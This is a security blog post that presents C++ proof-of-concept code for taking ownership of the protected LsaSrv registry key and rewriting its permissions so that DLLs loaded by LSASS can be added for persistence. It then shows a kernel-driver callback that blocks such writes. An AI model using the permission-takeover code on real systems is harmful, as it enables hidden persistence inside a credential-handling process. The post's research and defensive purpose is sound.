Registry: LsaSrv

Introduction

Grzegorz Tworek discovered that the LsaSrv registry key could be potentially used for persistence on the host since it contains the list of DLLs that LSASS.exe automatically loads. However, it requires a little bit of work to modify its value due to its original permissions. Therefore, I figured it might be a good exercise to write a small PoC updating the aforementioned key and also to write a simple kernel driver preventing any writes to it. As usual the main idea is to have fun and learn something along the way =D

And before we begin I would like to mention again that I am not a C++ expert. Please forgive my horrible coding.

LsaSrv Reg Key

Let's examine the LsaSrv registry key's permissions using regedit.exe. You will notice that its original owner is set to TrustedInstaller and the Administrators group has only READ access to it. Therefore, any attempts to update this registry key's data will result in "Access Denied". So, we will have update the key owner, gain WRITE_DAC access right, update the key's discreate access control list (DACL) and only after that we will be able to write new data in it.

Fig 1. Regedit.exe: Original LsaSrv Registry Key Permissions.

The first step is to open a handle to this registry key with KEY_READ access right.

#define LSASVR_KEY TEXT("SYSTEM\\CurrentControlSet\\Control\\LsaExtensionConfig\\LsaSrv")

LSTATUS lStatus = RegOpenKeyEx(HKEY_LOCAL_MACHINE, LSASVR_KEY, 0, KEY_READ, &hKey);

And after that we will need to get the current user's security identifier (SID) with the help of  OpenProcessToken, GetTokenInformation, and IsValidSid  functions.

HANDLE hToken = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);

DWORD dwSidBufferSize = 0;
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSidBufferSize);

std::vector<BYTE> buffer;
buffer.resize(dwSidBufferSize);
PTOKEN_USER pTokenUser = reinterpret_cast<PTOKEN_USER>(&buffer[0]);

GetTokenInformation(hToken, TokenUser, pTokenUser, dwSidBufferSize, &dwSidBufferSize);

IsValidSid(pTokenUser->User.Sid);

Then you will need the SE_TAKE_OWNERSHIP_NAME privilege to change the key's  owner. And as administrator you can get it with the help of LookupPrivilegeValue and AdjustTokenPrivileges.

And finally, the SetSecurityInfo with SECURITY_INFORMATION set to OWNER_SECURITY_INFORMATION will set the current user as a key's owner. After that you will have the WRITE_DAC access right to this registry key needed to update its DACL.

PSID newOwnerSid = pTokenUser->User.Sid;
SetSecurityInfo(hKey, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, newOwnerSid, NULL, NULL, NULL);

To update the key's DACL we will need to retrieve its original DACL using RegGetKeySecurity, GetSecurityDescriptorDacl, and GetAclInformation.

PSECURITY_DESCRIPTOR psd;
RegGetKeySecurity(hKey, DACL_SECURITY_INFORMATION, psd, &dwSdSizeNeeded);

PACL pDacl;
BOOL bDaclPresent;
BOOL bDaclExist;
GetSecurityDescriptorDacl(psd, &bDaclPresent, &pDacl, &bDaclExist);

ACL_SIZE_INFORMATION aclSizeInfo;
ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
aclSizeInfo.AclBytesInUse = sizeof(ACL);
GetAclInformation(pDacl, (LPVOID)&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION), AclSizeInformation);

Then we will create a new DACL,  and a new access control list (ACL) with an access control entry (ACE) granting the current user Full Control access rights. After that copy over the original access control entries into the new DACL preserving the original permissions.

PACL pNewDacl;
InitializeAcl(pNewDacl, dwNewAclSize, ACL_REVISION);

pace = (ACCESS_ALLOWED_ACE*)LocalAlloc(LMEM_FIXED, sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(pSid) - sizeof(DWORD));
	
pace->Header.AceType = ACCESS_ALLOWED_ACE_TYPE;
pace->Header.AceFlags = CONTAINER_INHERIT_ACE;
pace->Header.AceSize = LOWORD(sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(pSid) - sizeof(DWORD));
pace->Mask = KEY_ALL_ACCESS;

if (bDaclPresent) {
		if (aclSizeInfo.AceCount) {
			for (i = 0; i < aclSizeInfo.AceCount; i++) {
				if (!GetAce(pDacl, i, &pTempAce)) { return 1; }
				if (!AddAce(pNewDacl, ACL_REVISION, MAXDWORD, pTempAce, ((PACE_HEADER)pTempAce)->AceSize)) { return FALSE; }
		}
	}
}

And update the original DACL with the new DACL using SetSecurityDescriptorDacl, RegSetKeySecurity.

SetSecurityDescriptorDacl(psdNew, TRUE, pNewDacl, FALSE);
si |= PROTECTED_DACL_SECURITY_INFORMATION;
RegSetKeySecurity(hKey, si, psdNew);

Once this is done you should have no issues modifying the LsaSrv registry key data.

Fig 2. "Improved" LsaSrv registry key. 

The full code could be found here.

Detection

One way to prevent the LsaSrv registry key access is through a kernel driver notification callbacks. We will have to use the CmRegisterCallbackEx function for this purpose.

NTSTATUS CmRegisterCallbackEx(
  [in]           PEX_CALLBACK_FUNCTION Function,
  [in]           PCUNICODE_STRING      Altitude,
  [in]           PVOID                 Driver,
  [in, optional] PVOID                 Context,
  [out]          PLARGE_INTEGER        Cookie,
                 PVOID                 Reserved
);

Where the callback function prototype is:

NTSTATUS ExCallbackFunction(
  [in]           PVOID CallbackContext,
  [in, optional] PVOID Argument1,
  [in, optional] PVOID Argument2
);

The Argument1 is a REG_NOTIFY_CLASS-typed value that identifies the type of registry operation that is being performed. And the second argument is a pointer to a structure relevant to Argument1. You can find all the possible REG_NOTIFY_CLASS values here. In our case we are interested in the RegNtPreSetValueKey and the related REG_SET_VALUE_KEY_INFORMATION structure:

typedef struct _REG_SET_VALUE_KEY_INFORMATION {
  PVOID           Object;
  PUNICODE_STRING ValueName;
  ULONG           TitleIndex;
  ULONG           Type;
  PVOID           Data;
  ULONG           DataSize;
  PVOID           CallContext;
  PVOID           ObjectContext;
  PVOID           Reserved;
} REG_SET_VALUE_KEY_INFORMATION, *PREG_SET_VALUE_KEY_INFORMATION;

In case you decide to use kernel driver to generate registry telemetry for let's say upcoming MITRE evaluation or whatever - note that the registry callback will be invoked for EVERY registry operation and you cannot in advance filter out to certain operations only. Therefore, it might be better to avoid monitoring registry read operations through a kernel driver and limit it to write and create operations. In any case, the full driver code can be found here. I did not create a driver client for this, instead I used lazy KdPrint statements and Sysinternals DebugView.exe to check the driver's output. But in case you want to create a full client for the driver the great place to start is the "Windows Kernel Programming" book by Pavel Yosifovich and his amazing GitHub repo.

Final Run

Now let's put it all together and see if our "EDR" 🤣 prevents the LsaSrv registry key write operation.

Here are the steps to install and load the compiled kernel driver:

  1. Put your VM in a testsigning mode bcdedit /set testsigning on
  2. Reboot
  3. Install the driver sc create regmon_service type= kernel binpath= C:\dev\regmon.sys
  4. And load it sc start regmon_service

You can use Sysinternals Process Explorer to check if your driver is loaded by the System.

And here are the steps to start running Sysinternals DebugView.exe to monitor the driver's KdPrint statements:

  1. Create the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter and add a new REG_DWORD key value DEFAULT with the data set to 8.
  2. Reboot
  3. Run DebugView.exe elevated and select Capture Kernel option

Once the kernel driver is installed and loaded - try to run the PoC again to modify the LsaSrv registry key value - it won't work for obvious reasons.

Fig 3. Monitoring Driver's KdPrint Statements with DebugView.exe

Note that the kernel driver prevented the registry key update but the key owner and DACL were changed since we were only acting on RegNtPreSetValueKey, you probably will have to use RegNtPreOpenKey to stop this.

Also remember that since this driver uses callbacks - it must have the IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY flag set in its PE image header. In VisualStudio you can set it in the linker command line options with /integritycheck. If this flag is missing you will have a hard time loading this driver - speaking from personal experience 😑😛

And that's all I got for today. Later!

References